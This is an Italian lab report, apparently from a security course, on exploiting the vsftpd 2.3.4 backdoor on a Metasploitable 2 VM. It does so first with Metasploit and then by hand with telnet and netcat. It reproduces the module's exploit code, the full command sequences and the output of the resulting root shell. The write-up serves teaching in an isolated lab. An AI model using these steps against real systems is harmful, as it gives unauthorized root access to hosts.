

# Report Hacking con Metasploit W15D4

In questo esercizio andremo a sfruttare una backdoor sul servizio vsftpd tramite Metasploit. Metasploit è un tool preinstallato su Kali, utilizzeremo quindi la macchina Kali come attaccante e la macchina Metasploitable 2 come target.

## Prerequisiti:

- IP di Kali: 192.168.1.100/24
- IP di Metasploitable 2: 192.168.1.149/24

Le macchine dovranno essere sulla stessa rete per permettere la comunicazione.

**Step 1** Avviare il tool Metasploit con in comando msfconsole da terminale di Kali.

**Step 2** Tramite il comando search, cercare un modulo di exploit adatto ai nostri scopi, nel nostro caso useremo il comando search vsftps.

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal    Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

**Step 3** Per ottenere maggiori informazioni su un modulo, usare il comando `info` seguito dal numero del modulo interessato.

```
msf6 > info 1
Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>

Available targets:
  Id  Name
  --  --
  =>  0  Automatic

Check supported:
No

Basic options:
  Name      Current Setting  Required  Description
  ---      -
  RHOSTS
  RPORT    21               yes       The target port (TCP)

Payload information:
Space: 2000
Avoid: 0 characters

Description:
This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

References:
OSVDB (73573)
http://pastebin.com/AetT9sS5
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

View the full module info with the info -d command.
```

**Step 4** Una volta selezionato il modulo adatto usiamo il comando `use` seguito dal numero del modulo che desideriamo utilizzare.

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 
```

**Step 5** Tramite il comando `show options`, otteniamo più informazioni sul modulo e di ciò che bisogna settare perché funzioni correttamente.

Nel nostro caso è necessario impostare un RHOST (remote host), lo facciamo mediante il comando `set RHOST <IP Metasploitable 2>`.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      CPORT            no        The local client address
  CPORT      Proxies          no        The local client port
  Proxies    RHOSTS           no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using
  metasploit.html
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

**Step 6** Il modulo richiede l'accesso alla porta 21, con Nmap controlliamo che la porta in questione sia aperta sulla macchina target. Nmap conferma che la porta è aperta ed il servizio in ascolto sulla porta è vsftpd.

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.149 -p 21
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-06 08:31 EDT
Nmap scan report for 192.168.1.149
Host is up (0.00054s latency).
Not connected
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
MAC Address: 08:00:27:61:63:0C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds
```

**Step 7** Con il comando `show payloads`, il modulo ci mostra i payloads disponibili, questo modulo in particolare ne ha solo uno e useremo quello di default per l'attacco.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

  #  Name                                     Disclosure Date  Rank  Check  Description
  -  -
  0  payload/cmd/unix/interact .                normal No      Unix Command, Interact with Established Connection
```

**Step 8** Utilizzando il comando run, attiviamo l'attacco. Come possiamo vedere dall'immagine sottostante è andato a buon fine ed è stata trovata una shell su cui eseguire comandi sulla macchina target.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:44495 → 192.168.1.149:6200) at 2025-06-06 08:23:59 -0400
```

**Step 9** Per testare la shell eseguiamo un ifconfig che ci conferma che tutto sta funzionando come dovrebbe.

Ai fini dell'esercizio creiamo una cartella chiamata test\_metasploit nella root del sistema.

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:61:63:0c
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe61:630c/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:26 errors:0 dropped:0 overruns:0 frame:0
          TX packets:104 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2055 (2.0 KB)  TX bytes:9746 (9.5 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:147 errors:0 dropped:0 overruns:0 frame:0
          TX packets:147 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:39633 (38.7 KB)  TX bytes:39633 (38.7 KB)
```

```
mkdir /test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

## Facoltativo

Analizzare il codice del modulo utilizzato per l'exploit e ripetere l'attacco usando il servizio Telnet e Netcat.

### Step 1 Analisi codice del modulo utilizzato per l'attacco.

Questo modulo automatizza l'exploit della backdoor, in caso di backdoor attiva viene gestita con `handle_backdoor(nsock)`.

Per ottenere l'autenticazione sulla shell, usa un username casuale seguito da ":" ed una password anch'essa casuale.

Dopo aver inserito l'username, apre una connessione verso la porta 6200.

```
# Connect to the FTP service port first
connect

banner = sock.get_once(-1, 30).to_s
print_status("Banner: #{banner.strip}")

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")

if resp =~ /^530 /
  print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
  disconnect
  return
end

if resp !~ /^331 /
  print_error("This server did not respond as expected: #{resp.strip}")
  disconnect
  return
end

sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

# Do not bother reading the response from password, just try the backdoor
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
if nsock
  print_good("Backdoor service has been spawned, handling ...")
  handle_backdoor(nsock)
  return
end

disconnect

end

def handle_backdoor(s)

  s.put("id\n")

  r = s.get_once(-1, 5).to_s
  if r !~ /uid=/
    print_error("The service on port 6200 does not appear to be a shell")
    disconnect(s)
    return
  end
end
```



**Step 2** Quindi per imitare l'attacco senza l'utilizzo dello script utilizzeremo il comando telnet <IP Metasploitable 2> <porta servizio ftp>.

Inseriremo un username casuale seguito da ":" ed una password casuale.

```
(kali㉿kali)-[~]  
$ telnet 192.168.1.149 21  
Trying 192.168.1.149 ...  
Connected to 192.168.1.149.  
Escape character is '^]'.  
220 (vsFTPd 2.3.4)  
USER zelda:)  
331 Please specify the password.  
PASS asd
```

**Step 3** Dopo aver inserito le credenziali, apriamo un secondo terminale con Netcat in ascolto sulla porta 6200 appena aperta da Telnet.

L'esecuzione del comando ifconfig conferma che l'exploit è andato a buon fine e siamo sulla shell di Metasploitable 2.

```
(kali㉿kali)-[~]  
$ nc 192.168.1.149 6200  
ifconfig  
eth0      Link encap:Ethernet  HWaddr 08:00:27:61:63:0c  
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0  
          inet6 addr: fe80::a00:27ff:fe61:630c/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
          RX packets:190 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:252 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:14057 (13.7 KB)  TX bytes:23932 (23.3 KB)  
          Base address:0xd020  Memory:f0200000-f0220000  
  
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0  
          inet6 addr: ::1/128 Scope:Host  
          UP LOOPBACK RUNNING  MTU:16436  Metric:1  
          RX packets:261 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:261 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:0  
          RX bytes:93729 (91.5 KB)  TX bytes:93729 (91.5 KB)
```

**Step 4** Creiamo la cartella test\_metasploit come in precedenza.

```
pwd
/  
mkdir /test_metasploit  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
test_metasploit  
tmp  
usr  
var  
vmlinuz  
█
```